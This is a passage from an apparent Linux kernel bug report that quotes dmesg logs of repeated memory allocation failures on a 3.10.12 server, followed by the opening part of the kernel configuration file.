[89088.795374] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:36 [89088.795376] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:36 [89088.795378] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:50:36 [89088.795380] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:36 [89088.795551] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:36 [89088.795553] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:50:36 [89088.795554] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:36 [89088.795557] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:36 [89088.795558] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:50:36 [89088.795560] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:36 [89088.795721] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:36 [89088.795723] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:50:36 [89088.795725] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:36 [89088.795727] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:36 [89088.795729] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:50:36 [89088.795730] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:36 [89088.796041] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:36 [89088.796042] cache: kmalloc-256, object size: 256, buffer size: 256, default order: 0, min order: 0 > Sep 18 20:50:36 [89088.796044] node 0: slabs: 468, objs: 7488, free: 0 > Sep 18 20:50:36 [89088.796046] SLUB: Unable to allocate memory on node -1 (gfp=0x20) > Sep 18 20:50:47 [89099.862556] warn_alloc_failed: 10377 callbacks suppressed > Sep 18 20:50:47 [89099.862757] mdadm: page allocation failure: order:0, mode:0x20 > Sep 18 20:50:47 [89099.862919] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 > Sep 18 20:50:47 [89099.863081] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:47 [89099.863390] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 > Sep 18 20:50:47 [89099.863714] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:47 [89099.864037] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bd83e84 > Sep 18 20:50:47 [89099.864361] Call Trace: > Sep 18 20:50:47 [89099.864516] [] dump_stack+0x19/0x1b > Sep 18 20:50:47 [89099.864694] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:47 [89099.864857] [] ? update_sd_lb_stats+0x23f/0x481 > Sep 18 20:50:47 [89099.865019] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:47 [89099.865182] [] ? update_sd_lb_stats+0x458/0x481 > Sep 18 20:50:47 [89099.865347] [] __netdev_alloc_frag+0x5b/0xff > Sep 18 20:50:47 [89099.865508] [] __netdev_alloc_skb+0x39/0x9a > Sep 18 20:50:47 [89099.865685] [] rtl8169_poll+0x21b/0x4cd [r8169] > Sep 18 20:50:47 [89099.865849] [] ? __wake_up+0x3f/0x48 > Sep 18 20:50:47 [89099.866011] [] net_rx_action+0xa3/0x181 > Sep 18 20:50:47 [89099.866175] [] __do_softirq+0xb7/0x16d > Sep 18 20:50:47 [89099.866336] [] irq_exit+0x3e/0x83 > Sep 18 20:50:47 [89099.866496] [] do_IRQ+0x89/0xa0 > Sep 18 20:50:47 [89099.866657] [] common_interrupt+0x6a/0x6a > Sep 18 20:50:47 [89099.866818] [] ? __isolate_lru_page+0x97/0xa5 > Sep 18 20:50:47 [89099.866990] [] ? spin_unlock_irq+0x9/0xa > Sep 18 20:50:47 [89099.867151] [] ? shrink_inactive_list+0x1be/0x2c0 > Sep 18 20:50:47 [89099.867315] [] shrink_zone+0x3ad/0x4e6 > Sep 18 20:50:47 [89099.867477] [] try_to_free_pages+0x1f8/0x41b > Sep 18 20:50:47 [89099.867639] [] __alloc_pages_nodemask+0x3b2/0x5d9 > Sep 18 20:50:47 [89099.867804] [] handle_pte_fault+0x156/0x5dc > Sep 18 20:50:47 [89099.867968] [] ? number.isra.1+0x140/0x26a > Sep 18 20:50:47 [89099.868128] mdadm: page allocation failure: order:0, mode:0x200020 > Sep 18 20:50:47 [89099.868131] CPU: 3 PID: 6622 Comm: mdadm Not tainted 3.10.12 #1 > Sep 18 20:50:47 [89099.868132] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:49 [89099.868135] 0000000000200020 ffff88010bd83488 ffffffff812665b6 ffff88010bd83518 > Sep 18 20:50:49 [89099.868138] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:49 [89099.868140] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 > Sep 18 20:50:49 [89099.868141] Call Trace: > Sep 18 20:50:49 [89099.868145] [] dump_stack+0x19/0x1b > Sep 18 20:50:49 [89099.868148] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:49 [89099.868151] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:49 [89099.868154] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:49 [89099.868157] [] ? vsnprintf+0x37d/0x435 > Sep 18 20:50:49 [89099.868161] [] alloc_slab_page+0x21/0x23 > Sep 18 20:50:49 [89099.868163] [] new_slab+0x75/0x1ba > Sep 18 20:50:49 [89099.868166] [] __slab_alloc.constprop.71+0x12e/0x3f5 > Sep 18 20:50:49 [89099.868169] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:50:49 [89099.868172] [] ? __kmalloc_track_caller+0x3c/0xc8 > Sep 18 20:50:49 [89099.868175] [] kmem_cache_alloc+0x3b/0x91 > Sep 18 20:50:49 [89099.868178] [] __alloc_skb+0x44/0x19e > Sep 18 20:50:49 [89099.868181] [] find_skb.isra.25+0x35/0x7e > Sep 18 20:50:49 [89099.868184] [] netpoll_send_udp+0x5d/0x334 > Sep 18 20:50:49 [89099.868188] [] write_msg+0xb7/0xec [netconsole] > Sep 18 20:50:49 [89099.868193] [] call_console_drivers.constprop.23+0x75/0x80 > Sep 18 20:50:49 [89099.868196] [] console_unlock+0x268/0x2fa > Sep 18 20:50:49 [89099.868199] [] vprintk_emit+0x347/0x372 > Sep 18 20:50:49 [89099.868202] [] ? number.isra.1+0x140/0x26a > Sep 18 20:50:49 [89099.868205] [] printk+0x48/0x4a > Sep 18 20:50:49 [89099.868208] [] ? number.isra.1+0x140/0x26a > Sep 18 20:50:49 [89099.868211] [] ? number.isra.1+0x140/0x26a > Sep 18 20:50:49 [89099.868214] [] printk_address+0x2c/0x2e > Sep 18 20:50:49 [89099.868217] [] print_trace_address+0x1f/0x24 > Sep 18 20:50:52 [89105.179845] warn_alloc_failed: 11525 callbacks suppressed > Sep 18 20:50:52 [89105.180003] pickup: page allocation failure: order:0, mode:0x20 > Sep 18 20:50:52 [89105.180003] CPU: 3 PID: 31502 Comm: pickup Not tainted 3.10.12 #1 > Sep 18 20:50:52 [89105.180003] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:52 [89105.180003] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 > Sep 18 20:50:52 [89105.180003] pickup: page allocation failure: order:0, mode:0x200020 > Sep 18 20:50:52 [89105.180003] CPU: 3 PID: 31502 Comm: pickup Not tainted 3.10.12 #1 > Sep 18 20:50:52 [89105.180003] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:52 [89105.180003] 0000000000200020 ffff88010bd835e8 ffffffff812665b6 ffff88010bd83678 > Sep 18 20:50:52 [89105.180003] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:52 [89105.180003] ffffffff811de030 ffff880100000030 0000000000000096 ffff88010bd93f0a > Sep 18 20:50:52 [89105.180003] Call Trace: > Sep 18 20:50:52 [89105.180003] [] dump_stack+0x19/0x1b > Sep 18 20:50:52 [89105.180003] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:52 [89105.180003] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:50:52 [89105.180003] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:52 [89105.180003] [] ? native_sched_clock+0x39/0x3b > Sep 18 20:50:52 [89105.180003] [] ? resched_task+0x36/0x60 > Sep 18 20:50:58 [89111.221781] warn_alloc_failed: 23515 callbacks suppressed > Sep 18 20:50:58 [89111.221985] nfsd: page allocation failure: order:0, mode:0x20 > Sep 18 20:50:58 [89111.222148] CPU: 1 PID: 6816 Comm: nfsd Not tainted 3.10.12 #1 > Sep 18 20:50:58 [89111.222309] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:58 [89111.222619] 0000000000000020 ffff88010bc83bd8 ffffffff812665b6 ffff88010bc83c68 > Sep 18 20:50:58 [89111.222941] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:58 [89111.223263] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bc83e84 > Sep 18 20:50:58 [89111.223584] Call Trace: > Sep 18 20:50:58 [89111.223739] [] dump_stack+0x19/0x1b > Sep 18 20:50:58 [89111.223917] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:58 [89111.224082] [] ? update_sd_lb_stats+0x23f/0x481 > Sep 18 20:50:58 [89111.224245] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:58 [89111.224407] [] ? update_sd_lb_stats+0x458/0x481 > Sep 18 20:50:58 [89111.224568] nfsd: page allocation failure: order:0, mode:0x200020 > Sep 18 20:50:58 [89111.224570] CPU: 1 PID: 6816 Comm: nfsd Not tainted 3.10.12 #1 > Sep 18 20:50:58 [89111.224571] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:50:58 [89111.224575] 0000000000200020 ffff88010bc83488 ffffffff812665b6 ffff88010bc83518 > Sep 18 20:50:58 [89111.224577] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:50:58 [89111.224580] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 > Sep 18 20:50:58 [89111.224581] Call Trace: > Sep 18 20:50:58 [89111.224584] [] dump_stack+0x19/0x1b > Sep 18 20:50:58 [89111.224587] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:50:58 [89111.224590] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:58 [89111.224593] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:50:58 [89111.224598] [] ? vsnprintf+0x37d/0x435 > Sep 18 20:50:58 [89111.224602] [] alloc_slab_page+0x21/0x23 > Sep 18 20:50:58 [89111.224605] [] new_slab+0x75/0x1ba > Sep 18 20:50:58 [89111.224608] [] __slab_alloc.constprop.71+0x12e/0x3f5 > Sep 18 20:50:58 [89111.224612] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:50:58 [89111.224615] [] ? __kmalloc_track_caller+0x3c/0xc8 > Sep 18 20:50:58 [89111.224618] [] kmem_cache_alloc+0x3b/0x91 > Sep 18 20:50:58 [89111.224621] [] __alloc_skb+0x44/0x19e > Sep 18 20:50:58 [89111.224625] [] find_skb.isra.25+0x35/0x7e > Sep 18 20:50:58 [89111.224628] [] netpoll_send_udp+0x5d/0x334 > Sep 18 20:51:01 [89111.224633] [] write_msg+0xb7/0xec [netconsole] > Sep 18 20:51:01 [89111.224639] [] call_console_drivers.constprop.23+0x75/0x80 > Sep 18 20:51:01 [89111.224642] [] console_unlock+0x268/0x2fa > Sep 18 20:51:01 [89111.224645] [] vprintk_emit+0x347/0x372 > Sep 18 20:51:01 [89111.224648] [] ? update_sd_lb_stats+0x458/0x481 > Sep 18 20:51:01 [89111.224651] [] printk+0x48/0x4a > Sep 18 20:51:01 [89111.224653] [] ? update_sd_lb_stats+0x458/0x481 > Sep 18 20:51:01 [89111.224656] [] ? update_sd_lb_stats+0x458/0x481 > Sep 18 20:51:01 [89111.224659] [] printk_address+0x2c/0x2e > Sep 18 20:51:01 [89111.224662] [] print_trace_address+0x1f/0x24 > Sep 18 20:51:05 [89117.669846] warn_alloc_failed: 13808 callbacks suppressed > Sep 18 20:51:05 [89117.670033] kworker/3:1: page allocation failure: order:0, mode:0x20 > Sep 18 20:51:05 [89117.670033] CPU: 3 PID: 1917 Comm: kworker/3:1 Not tainted 3.10.12 #1 > Sep 18 20:51:05 [89117.670033] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:51:05 [89117.670033] Workqueue: kcryptd kcryptd_crypt [dm_crypt] > Sep 18 20:51:05 [89117.670033] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 > Sep 18 20:51:05 [89117.670033] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:51:05 [89117.670033] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bd83e84 > Sep 18 20:51:05 [89117.670033] Call Trace: > Sep 18 20:51:05 [89117.670033] [] dump_stack+0x19/0x1b > Sep 18 20:51:05 [89117.670033] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:51:05 [89117.670033] [] ? update_sd_lb_stats+0x23f/0x481 > Sep 18 20:51:05 [89117.670033] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:51:05 [89117.670033] [] ? update_sd_lb_stats+0x458/0x481 > Sep 18 20:51:05 [89117.670033] [] __netdev_alloc_frag+0x5b/0xff > Sep 18 20:51:05 [89117.670033] [] __netdev_alloc_skb+0x39/0x9a > Sep 18 20:51:05 [89117.670033] [] rtl8169_poll+0x21b/0x4cd [r8169] > Sep 18 20:51:05 [89117.670033] kworker/3:1: page allocation failure: order:0, mode:0x200020 > Sep 18 20:51:05 [89117.670033] CPU: 3 PID: 1917 Comm: kworker/3:1 Not tainted 3.10.12 #1 > Sep 18 20:51:05 [89117.670033] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 > Sep 18 20:51:05 [89117.670033] Workqueue: kcryptd kcryptd_crypt [dm_crypt] > Sep 18 20:51:05 [89117.670033] 0000000000200020 ffff88010bd83488 ffffffff812665b6 ffff88010bd83518 > Sep 18 20:51:05 [89117.670033] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 > Sep 18 20:51:05 [89117.670033] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 > Sep 18 20:51:05 [89117.670033] Call Trace: > Sep 18 20:51:05 [89117.670033] [] dump_stack+0x19/0x1b > Sep 18 20:51:05 [89117.670033] [] warn_alloc_failed+0x110/0x124 > Sep 18 20:51:05 [89117.670033] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:51:05 [89117.670033] [] __alloc_pages_nodemask+0x2d6/0x5d9 > Sep 18 20:51:05 [89117.670033] [] ? string.isra.3+0x3d/0xa2 > Sep 18 20:51:05 [89117.670033] [] ? pointer.isra.11+0x1b2/0x235 > Sep 18 20:51:05 [89117.670033] [] alloc_slab_page+0x21/0x23 > Sep 18 20:51:05 [89117.670033] [] new_slab+0x75/0x1ba > Sep 18 20:51:05 [89117.670033] [] __slab_alloc.constprop.71+0x12e/0x3f5 > Sep 18 20:51:05 [89117.670033] [] ? __alloc_skb+0x44/0x19e > Sep 18 20:51:05 [89117.670033] [] kmem_cache_alloc+0x3b/0x91 > Sep 18 20:51:05 [89117.670033] [] __alloc_skb+0x44/0x19e > Sep 18 20:51:05 [89117.670033] [] find_skb.isra.25+0x35/0x7e > Sep 18 20:51:05 [89117.670033] [] netpoll_send_udp+0x5d/0x334 > Sep 18 20:51:05 [89117.670033] [] write_msg+0xb7/0xec [netconsole] > Sep 18 20:51:05 [89117.670033] [] call_console_drivers.constprop.23+0x75/0x80 > Sep 18 20:51:05 [89117.670033] [] console_unlock+0x268/0x2fa > Sep 18 20:51:05 [89117.670033] [] vprintk_emit+0x347/0x372 > Sep 18 20:51:05 [89117.670033] [] ? rtl8169_poll+0x21b/0x4cd [r8169] > Sep 18 20:51:05 [89117.670033] [] printk+0x48/0x4a > Sep 18 20:51:05 [89117.670033] [] ? rtl8169_poll+0x21b/0x4cd [r8169] > Sep 18 20:51:05 [89117.670033] [] ? rtl8169_poll+0x21b/0x4cd [r8169] > 21:06 No route to host > ~21:30 discovered it was dead > > REPORTING-BUGS 4.1: Kernel version (from /proc/version): > Linux version 3.10.12 (root@server) (gcc version 4.7.3 (Gentoo 4.7.3 p1.0, pie-0.5.5) ) #1 SMP Mon Sep 16 12:57:50 CEST 2013 > > REPORTING-BUGS 4.2: Kernel .config file: > # > # Automatically generated file; DO NOT EDIT. > # Linux/x86 3.10.12 Kernel Configuration > # > CONFIG_64BIT=y > CONFIG_X86_64=y > CONFIG_X86=y > CONFIG_INSTRUCTION_DECODER=y > CONFIG_OUTPUT_FORMAT="elf64-x86-64" > CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig" > CONFIG_LOCKDEP_SUPPORT=y > CONFIG_STACKTRACE_SUPPORT=y > CONFIG_HAVE_LATENCYTOP_SUPPORT=y > CONFIG_MMU=y > CONFIG_NEED_DMA_MAP_STATE=y > CONFIG_NEED_SG_DMA_LENGTH=y > CONFIG_GENERIC_ISA_DMA=y > CONFIG_GENERIC_BUG=y > CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y > CONFIG_GENERIC_HWEIGHT=y > CONFIG_ARCH_MAY_HAVE_PC_FDC=y > CONFIG_RWSEM_XCHGADD_ALGORITHM=y > CONFIG_GENERIC_CALIBRATE_DELAY=y > CONFIG_ARCH_HAS_CPU_RELAX=y > CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y > CONFIG_ARCH_HAS_CPU_AUTOPROBE=y > CONFIG_HAVE_SETUP_PER_CPU_AREA=y > CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y > CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y > CONFIG_ARCH_HIBERNATION_POSSIBLE=y > CONFIG_ARCH_SUSPEND_POSSIBLE=y > CONFIG_ZONE_DMA32=y > CONFIG_AUDIT_ARCH=y > CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y > CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y > CONFIG_X86_64_SMP=y > CONFIG_X86_HT=y > CONFIG_ARCH_HWEIGHT_CFLAGS="-fcall-saved-rdi -fcall-saved-rsi -fcall-saved-rdx -fcall-saved-rcx -fcall-saved-r8 -fcall-saved-r9 -fcall-saved-r10 -fcall-saved-r11" > CONFIG_ARCH_CPU_PROBE_RELEASE=y > CONFIG_ARCH_SUPPORTS_UPROBES=y > CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" > CONFIG_IRQ_WORK=y > CONFIG_BUILDTIME_EXTABLE_SORT=y > > # > # General setup > # > CONFIG_INIT_ENV_ARG_LIMIT=32 > CONFIG_CROSS_COMPILE="" > CONFIG_LOCALVERSION="" > CONFIG_LOCALVERSION_AUTO=y > CONFIG_HAVE_KERNEL_GZIP=y > CONFIG_HAVE_KERNEL_BZIP2=y > CONFIG_HAVE_KERNEL_LZMA=y > CONFIG_HAVE_KERNEL_XZ=y > CONFIG_HAVE_KERNEL_LZO=y > # CONFIG_KERNEL_GZIP is not set > # CONFIG_KERNEL_BZIP2 is not set > # CONFIG_KERNEL_LZMA is not set > CONFIG_KERNEL_XZ=y > # CONFIG_KERNEL_LZO is not set > CONFIG_DEFAULT_HOSTNAME="(none)" > CONFIG_SWAP=y > CONFIG_SYSVIPC=y > CONFIG_SYSVIPC_SYSCTL=y > CONFIG_POSIX_MQUEUE=y > CONFIG_POSIX_MQUEUE_SYSCTL=y > CONFIG_FHANDLE=y > CONFIG_AUDIT=y > # CONFIG_AUDITSYSCALL is not set > # CONFIG_AUDIT_LOGINUID_IMMUTABLE is not set > CONFIG_HAVE_GENERIC_HARDIRQS=y > > # > # IRQ subsystem > # > CONFIG_GENERIC_HARDIRQS=y > CONFIG_GENERIC_IRQ_PROBE=y > CONFIG_GENERIC_IRQ_SHOW=y > CONFIG_GENERIC_PENDING_IRQ=y > CONFIG_IRQ_DOMAIN=y > CONFIG_IRQ_FORCED_THREADING=y > CONFIG_SPARSE_IRQ=y > CONFIG_CLOCKSOURCE_WATCHDOG=y > CONFIG_ARCH_CLOCKSOURCE_DATA=y > CONFIG_GENERIC_TIME_VSYSCALL=y > CONFIG_GENERIC_CLOCKEVENTS=y > CONFIG_GENERIC_CLOCKEVENTS_BUILD=y > CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y > CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y > CONFIG_GENERIC_CMOS_UPDATE=y > > # > # Timers subsystem > # > CONFIG_TICK_ONESHOT=y > CONFIG_NO_HZ_COMMON=y > # CONFIG_HZ_PERIODIC is not set > CONFIG_NO_HZ_IDLE=y > # CONFIG_NO_HZ_FULL is not set > CONFIG_NO_HZ=y > CONFIG_HIGH_RES_TIMERS=y > > # > # CPU/Task time and stats accounting > # > CONFIG_TICK_CPU_ACCOUNTING=y > # CONFIG_VIRT_CPU_ACCOUNTING_GEN is not set > # CONFIG_IRQ_TIME_ACCOUNTING is not set > # CONFIG_BSD_PROCESS_ACCT is not set > CONFIG_TASKSTATS=y > CONFIG_TASK_DELAY_ACCT=y > CONFIG_TASK_XACCT=y > CONFIG_TASK_IO_ACCOUNTING=y > > # > # RCU Subsystem > # > CONFIG_TREE_RCU=y > # CONFIG_PREEMPT_RCU is not set > CONFIG_RCU_STALL_COMMON=y > # CONFIG_RCU_USER_QS is not set > CONFIG_RCU_FANOUT=64 > CONFIG_RCU_FANOUT_LEAF=16 > # CONFIG_RCU_FANOUT_EXACT is not set > # CONFIG_RCU_FAST_NO_HZ is not set > # CONFIG_TREE_RCU_TRACE is not set > # CONFIG_RCU_NOCB_CPU is not set > CONFIG_IKCONFIG=y > CONFIG_IKCONFIG_PROC=y > CONFIG_LOG_BUF_SHIFT=18 > CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y > CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y > CONFIG_ARCH_WANTS_PROT_NUMA_PROT_NONE=y > CONFIG_CGROUPS=y > # CONFIG_CGROUP_DEBUG is not set > # CONFIG_CGROUP_FREEZER is not set > # CONFIG_CGROUP_DEVICE is not set > # CONFIG_CPUSETS is not set > # CONFIG_CGROUP_CPUACCT is not set > # CONFIG_RESOURCE_COUNTERS is not set > # CONFIG_CGROUP_PERF is not set > # CONFIG_CGROUP_SCHED is not set > CONFIG_BLK_CGROUP=y > # CONFIG_DEBUG_BLK_CGROUP is not set > # CONFIG_CHECKPOINT_RESTORE is not set > CONFIG_NAMESPACES=y > CONFIG_UTS_NS=y > CONFIG_IPC_NS=y > CONFIG_PID_NS=y > CONFIG_NET_NS=y > # CONFIG_SCHED_AUTOGROUP is not set > # CONFIG_SYSFS_DEPRECATED is not set > # CONFIG_RELAY is not set > CONFIG_BLK_DEV_INITRD=y > CONFIG_INITRAMFS_SOURCE="" > CONFIG_RD_GZIP=y > CONFIG_RD_BZIP2=y > CONFIG_RD_LZMA=y > CONFIG_RD_XZ=y > CONFIG_RD_LZO=y > CONFIG_CC_OPTIMIZE_FOR_SIZE=y > CONFIG_SYSCTL=y > CONFIG_ANON_INODES=y > CONFIG_HAVE_UID16=y > CONFIG_SYSCTL_EXCEPTION_TRACE=y > CONFIG_HOTPLUG=y > CONFIG_HAVE_PCSPKR_PLATFORM=y > # CONFIG_EXPERT is not set > CONFIG_UID16=y > # CONFIG_SYSCTL_SYSCALL is not set > CONFIG_KALLSYMS=y > CONFIG_PRINTK=y > CONFIG_BUG=y > CONFIG_ELF_CORE=y > CONFIG_PCSPKR_PLATFORM=y > CONFIG_BASE_FULL=y > CONFIG_FUTEX=y > CONFIG_EPOLL=y > CONFIG_SIGNALFD=y > CONFIG_TIMERFD=y > CONFIG_EVENTFD=y > CONFIG_SHMEM=y > CONFIG_AIO=y > CONFIG_PCI_QUIRKS=y > # CONFIG_EMBEDDED is not set > CONFIG_HAVE_PERF_EVENTS=y > > # > # Kernel Performance Events And Counters > # > CONFIG_PERF_EVENTS=y > CONFIG_VM_EVENT_COUNTERS=y > CONFIG_SLUB_DEBUG=y > # CONFIG_COMPAT_BRK is not set > # CONFIG_SLAB is not set > CONFIG_SLUB=y > # CONFIG_PROFILING is not set > CONFIG_HAVE_OPROFILE=y > CONFIG_OPROFILE_NMI_TIMER=y > # CONFIG_KPROBES is not set > CONFIG_JUMP_LABEL=y > # CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set > CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y > CONFIG_ARCH_USE_BUILTIN_BSWAP=y > CONFIG_USER_RETURN_NOTIFIER=y > CONFIG_HAVE_IOREMAP_PROT=y > CONFIG_HAVE_KPROBES=y > CONFIG_HAVE_KRETPROBES=y > CONFIG_HAVE_OPTPROBES=y > CONFIG_HAVE_KPROBES_ON_FTRACE=y > CONFIG_HAVE_ARCH_TRACEHOOK=y > CONFIG_HAVE_DMA_ATTRS=y > CONFIG_USE_GENERIC_SMP_HELPERS=y > CONFIG_GENERIC_SMP_IDLE_THREAD=y > CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y > CONFIG_HAVE_DMA_API_DEBUG=y > CONFIG_HAVE_HW_BREAKPOINT=y > CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y > CONFIG_HAVE_USER_RETURN_NOTIFIER=y > CONFIG_HAVE_PERF_EVENTS_NMI=y > CONFIG_HAVE_PERF_REGS=y > CONFIG_HAVE_PERF_USER_STACK_DUMP=y > CONFIG_HAVE_ARCH_JUMP_LABEL=y > CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y > CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y > CONFIG_HAVE_CMPXCHG_LOCAL=y > CONFIG_HAVE_CMPXCHG_DOUBLE=y > CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y > CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y > CONFIG_HAVE_ARCH_SECCOMP_FILTER=y > CONFIG_SECCOMP_FILTER=y > CONFIG_HAVE_CONTEXT_TRACKING=y > CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y > CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y > CONFIG_MODULES_USE_ELF_RELA=y > CONFIG_OLD_SIGSUSPEND3=y > CONFIG_COMPAT_OLD_SIGACTION=y > > # > # GCOV-based kernel profiling > # > # CONFIG_HAVE_GENERIC_DMA_COHERENT is not set > CONFIG_SLABINFO=y > CONFIG_RT_MUTEXES=y > CONFIG_BASE_SMALL=0 > CONFIG_MODULES=y > CONFIG_MODULE_FORCE_LOAD=y > CONFIG_MODULE_UNLOAD=y > CONFIG_MODULE_FORCE_UNLOAD=y > # CONFIG_MODVERSIONS is not set > # CONFIG_MODULE_SRCVERSION_ALL is not set > # CONFIG_MODULE_SIG is not set > CONFIG_STOP_MACHINE=y > CONFIG_BLOCK=y > CONFIG_BLK_DEV_BSG=y > # CONFIG_BLK_DEV_BSGLIB is not set > # CONFIG_BLK_DEV_INTEGRITY is not set > CONFIG_BLK_DEV_THROTTLING=y > > # > # Partition Types > # > CONFIG_PARTITION_ADVANCED=y > # CONFIG_ACORN_PARTITION is not set > # CONFIG_OSF_PARTITION is not set > # CONFIG_AMIGA_PARTITION is not set > # CONFIG_ATARI_PARTITION is not set > # CONFIG_MAC_PARTITION is not set > CONFIG_MSDOS_PARTITION=y > # CONFIG_BSD_DISKLABEL is not set > # CONFIG_MINIX_SUBPARTITION is not set > # CONFIG_SOLARIS_X86_PARTITION is not set > # CONFIG_UNIXWARE_DISKLABEL is not set > # CONFIG_LDM_PARTITION is not set > # CONFIG_SGI_PARTITION is not set > # CONFIG_ULTRIX_PARTITION is not set > # CONFIG_SUN_PARTITION is not set > # CONFIG_KARMA_PARTITION is not set > CONFIG_EFI_PARTITION=y > # CONFIG_SYSV68_PARTITION is not set > CONFIG_BLOCK_COMPAT=y > > # > # IO Schedulers > # > CONFIG_IOSCHED_NOOP=y > CONFIG_IOSCHED_DEADLINE=y > CONFIG_IOSCHED_CFQ=y > CONFIG_CFQ_GROUP_IOSCHED=y > CONFIG_DEFAULT_DEADLINE=y > # CONFIG_DEFAULT_CFQ is not set > # CONFIG_DEFAULT_NOOP is not set > CONFIG_DEFAULT_IOSCHED="deadline" > CONFIG_PREEMPT_NOTIFIERS=y > CONFIG_PADATA=y > CONFIG_INLINE_SPIN_UNLOCK_IRQ=y > CONFIG_INLINE_READ_UNLOCK=y > CONFIG_INLINE_READ_UNLOCK_IRQ=y > CONFIG_INLINE_WRITE_UNLOCK=y > CONFIG_INLINE_WRITE_UNLOCK_IRQ=y > CONFIG_MUTEX_SPIN_ON_OWNER=y > # CONFIG_FREEZER is not set > > # > # Processor type and features > # > 